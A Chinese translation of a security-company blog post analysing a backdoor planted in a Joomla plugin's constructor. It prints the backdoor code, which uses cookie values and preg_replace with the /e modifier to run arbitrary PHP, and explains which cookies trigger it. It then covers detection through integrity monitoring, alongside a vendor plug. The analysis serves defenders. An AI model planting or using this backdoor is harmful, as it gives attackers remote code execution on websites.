本文介绍我们在Joomla插件中发现的一个有（wei）趣（suo）的后门。
尽管感觉有点不太对劲，不过由于代码组织良好，最开始我们没有意识到里面包含后门。插件的代码如下所示：
乍一看没什么特别的，没有代码加密，没有代码混淆，也没什么注释，就是正常的Joomla插件代码。
但是如果仔细研究就会发现，类的构造函数不太正常：
public function __construct() {
$filter = JRequest::getString('p3', Null, 'cookie');
if ($filter) {
$option = $filter(JRequest::getString('p2', Null, 'cookie'));
$auth = $filter(JRequest::getString('p1', Null, 'cookie'));
$option("/123/e",$auth,123);
die();
}
}
第一个真正可疑的是代码结尾处的die();，该函数会终止脚本的执行，放在Joomla插件中，表示该函数会终止Joomla的执行。插件不应该这么做，特别是在初始化阶段。
另外，读者可能已经注意到了字符串“/123/e”，类似于许多基于preg_replace的后门中“eval”标记的正则表达式匹配模式。这么一看就会发现，如果用preg_replace替换掉$option，恰好得到一句经典的gre_replace后门代码：
preg_replace("/123/e", $auth, 123);
123总是与123匹配，所以这段代码总是会取得$auth变量的值，不管这个值是什么。
为了使该假设变成真，$option应该等价于“preg_replace”，$auth应该包含PHP功能代码。那么这种想法是否可行呢？我们可以看到这两个变量都是用cookie值填充的，所以，是的，这种想法是可行的。
通过分析代码可以看到该后门以如下方式运行：
1，Joomla中启用该插件后，会在每个页面加载，因此插件的类的构造函数总能得到执行。
2，攻击者可以通过设置以下cookie请求网站的任意页面：
p3 - 该变量触发后门执行，如果没有该变量，Joomla会正常执行。
p2 - 该变量的值应该设置为“preg_replace”、
p1 - 任意PHP功能代码
整个插件都是恶意代码吗
我之前的文章中提到，恶意代码被植入到Wordpress插件后被重新打包成盗版商业插件，但与此不同的是，本文提到的Joomla插件看起来不像是站长从某个小网站弄来的，该插件名为InstantSuggest，是一款免费插件，并不怎么流行（下载量小于400）。其官方代码中不包含__construct()函数。
可以看到源码中的漏洞已经补上了，因此最有可能的情况是黑客黑进该站点后添加了这个后门。事实上我们也是在一个被黑网站上发现这个后门的（这个没什么可惊喜的，我们的大部分工作都是与被黑站点打交道）。
另外，黑客不是仅仅将后门注入到某个插件中，而是安装到某个已经打过补丁的插件里，这样看起不可疑，也不会破坏任何东西。这比修改网站中现有的文件要容易一些，因为修改网站现有文件时有时候可能会会破坏网站，因此需要更复杂的injector。
为证明这一假设，我们搜索了网络中包含该后门代码的网站，发现几乎全都包含在instantsuggest代码中——我不相信所有这些网站都是主动安装了这个不知名的插件。另外，这段恶意代码也被用在了Joomla上下文之外，将Joomla API请求替换为简单的@$_COOKIE调用（可参考cPanel论坛）。即使在这些案例中，其仍然被包含在instantsuggest代码中——这么做只是为了使后门看起来不那么可疑。
To 站长：
如读者所见，黑客可以可很容易将后门隐藏在我们的眼皮底下，当人工审查代码时很难将其辨识出来，特别是像Joomla这种包含上千个文件的系统，安全扫描器也可能无法识别这种不常见的后门。检测这种后门唯一可靠的方法就是完整性控制，当检测到文件被修改时提供向站长提供警报，使站长可以立即解决可能产生的问题。许多版本控制系统可以完成这种工作 ，如果读者启用我们的Sucuri监控服务中的服务端扫描，也可以发现服务中的完整性控制功能。
还需要说明的是，通过cookie向后门中传递恶意代码已经成为趋势，利用这种方式，黑客可以使用常规GET请求，这样就不会在web服务日志分析系统中产生任何可疑操作。要检测并阻止这种请求，站长需要一款更高级的website防火墙解决方案。
原文地址：http://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html
